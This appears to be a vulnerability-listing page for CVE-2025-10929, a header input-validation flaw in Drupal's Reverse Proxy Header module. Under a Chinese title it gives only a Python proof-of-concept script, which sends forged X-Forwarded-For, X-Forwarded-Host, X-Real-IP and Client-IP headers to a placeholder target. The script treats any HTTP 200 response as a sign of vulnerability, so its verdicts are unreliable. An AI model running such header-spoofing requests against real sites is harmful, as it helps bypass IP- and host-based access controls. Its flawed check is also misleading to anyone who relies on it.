CVE-2025-10929 Drupal Reverse Proxy Header 输入验证不当漏洞

import requests # CVE-2025-10929 PoC - Drupal Reverse Proxy Header Manipulation # Target: Drupal site with vulnerable Reverse Proxy Header module (< 1.1.2) target_url = "http://target-drupal-site.com" # Malicious headers to manipulate user-controlled variables malicious_headers = { 'X-Forwarded-For': '127.0.0.1', # Fake IP address 'X-Forwarded-Proto': 'https', # Manipulate protocol 'X-Forwarded-Host': 'malicious-site.com', # Fake host 'X-Real-IP': '10.0.0.1', 'Client-IP': '192.168.1.1' } try: response = requests.get(target_url, headers=malicious_headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response Headers: {response.headers}") # Check if the headers are reflected or processed without validation if 'X-Forwarded' in str(response.headers) or response.status_code == 200: print("[+] Potential vulnerability - headers accepted without validation") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")